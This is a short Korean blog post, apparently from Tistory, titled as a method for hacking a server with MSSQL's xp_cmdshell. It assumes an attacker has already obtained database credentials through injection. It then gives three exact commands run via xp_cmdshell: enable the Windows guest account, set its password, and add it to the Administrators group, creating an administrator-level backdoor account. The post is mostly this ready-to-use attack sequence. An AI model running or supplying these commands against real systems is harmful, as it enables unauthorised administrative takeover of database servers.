티스토리 뷰


 xp_cmdshell 이용한 서버 해킹 방법  

MsSql의 보안에 가장 큰 문제가 바로 xp_cmdshell을 이용한 injection

해킹입니다. 아래 예는 injection 해킹을 통해 데이타베이스 접속 권한을

가지고 있는 계정의 암호를 알아내었다는, 가정하에 일어 날수 있는 서버

해킹의 방법을 기술한 것입니다.

순서는 서버상의 guest 계정을 활성화 시키고,  암호를 등록 시킨후

administrators 그룹에 포함시켜 권한을 관리자와 동등하게 만들어주는

시나리오입니다.  

 

 

   1. xp_cmdshell을 이용한  guest계정 활성

      EXEC xp_cmdshell 'net user guest /active:yes'

   2. guest 계정 암호 변경

     EXEC xp_cmdshell 'net user guest test'

   3. 관리자 그룹에 guest계정 추가 

    EXEC xp_cmdshell 'net localgroup Administrators guest /add'

 

 

 

 

 

댓글